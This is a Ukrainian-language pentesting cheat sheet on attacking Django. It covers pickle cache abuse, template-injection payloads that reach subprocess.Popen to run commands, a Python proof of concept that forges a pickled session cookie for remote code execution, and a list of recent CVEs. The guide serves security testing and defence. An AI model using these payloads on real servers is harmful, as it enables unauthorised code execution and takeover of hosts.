Django

Маніпуляція кешем для RCE

Метод зберігання кешу за замовчуванням у Django - це Python pickles, що може призвести до RCE, якщо недовірене введення буде розпаковано. Якщо зловмисник може отримати доступ на запис до кешу, він може ескалувати цю вразливість до RCE на базовому сервері.

Кеш Django зберігається в одному з чотирьох місць: Redis, пам'яті, файлах або базі даних. Кеш, збережений на сервері Redis або в базі даних, є найбільш ймовірними векторами атаки (впровадження Redis та SQL-ін'єкція), але зловмисник також може використовувати кеш на основі файлів, щоб перетворити довільний запис у RCE. Підтримувачі позначили це як незначну проблему. Важливо зазначити, що папка файлів кешу, назва таблиці SQL та деталі сервера Redis можуть варіюватися в залежності від реалізації.

Цей звіт HackerOne надає чудовий, відтворювальний приклад експлуатації кешу Django, збереженого в базі даних SQLite: https://hackerone.com/reports/1415436

Ін'єкція шаблонів на стороні сервера (SSTI)

Мова шаблонів Django (DTL) є тюрінг-комплектною. Якщо дані, надані користувачем, відображаються як рядок шаблону (наприклад, викликом Template(user_input).render() або коли |safe/format_html() видаляє автоматичне екранування), зловмисник може досягти повної SSTI → RCE.

Виявлення

1. Шукайте динамічні виклики до Template() / Engine.from_string() / render_to_string(), які включають будь-які неочищені дані запиту.
2. Надішліть навантаження на основі часу або арифметики:

{{7*7}}

Якщо відображений вихід містить 49, введення компілюється шаблонним двигуном.

Примітив до RCE

Django блокує прямий доступ до __import__, але граф об'єктів Python доступний:

{{''.__class__.mro()[1].__subclasses__()}}

Знайдіть індекс subprocess.Popen (≈400–500 в залежності від версії Python) та виконайте довільні команди:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Більш безпечний універсальний гаджет - це ітерація, поки cls.__name__ == 'Popen'.

Той же гаджет працює для Debug Toolbar або Django-CMS функцій рендерингу шаблонів, які неправильно обробляють введення користувача.

RCE через куки сесії на основі Pickle

Якщо налаштування SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' увімкнено (або користувацький серіалізатор, який десеріалізує pickle), Django розшифровує та розпаковує куки сесії перед викликом будь-якого коду представлення. Тому наявність дійсного ключа підпису (за замовчуванням SECRET_KEY проекту) є достатньою для негайного віддаленого виконання коду.

Вимоги до експлуатації

• Сервер використовує PickleSerializer.
• Зловмисник знає / може вгадати settings.SECRET_KEY (витоки через GitHub, .env, сторінки помилок тощо).

Доказ концепції

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Надішліть отримане cookie, і корисне навантаження виконується з правами WSGI worker.

Заходи пом'якшення: Залишайте за замовчуванням JSONSerializer, змінюйте SECRET_KEY та налаштовуйте SESSION_COOKIE_HTTPONLY.

Останні (2023-2025) критичні CVE Django, які повинні перевірити пентестери

• CVE-2025-48432 – Введення журналу через неекранований request.path (виправлено 4 червня 2025 року). Дозволяє зловмисникам підсовувати нові рядки/ANSI коди в журнали та отруювати подальший аналіз журналів. Рівень патчу ≥ 4.2.22 / 5.1.10 / 5.2.2.
• CVE-2024-42005 – Критичне SQL-введення в QuerySet.values()/values_list() на JSONField (CVSS 9.8). Створіть JSON ключі, щоб вийти з цитування та виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8.

Завжди визначайте точну версію фреймворку через сторінку помилки X-Frame-Options або хеш /static/admin/css/base.css та тестуйте вищезазначене, де це застосовно.

Посилання

• Випуск безпеки Django – "Django 5.2.2, 5.1.10, 4.2.22 вирішують CVE-2025-48432" – 4 червня 2025 року.
• OP-Innovate: "Django випускає оновлення безпеки для усунення вразливості SQL-введення CVE-2024-42005" – 11 серпня 2024 року.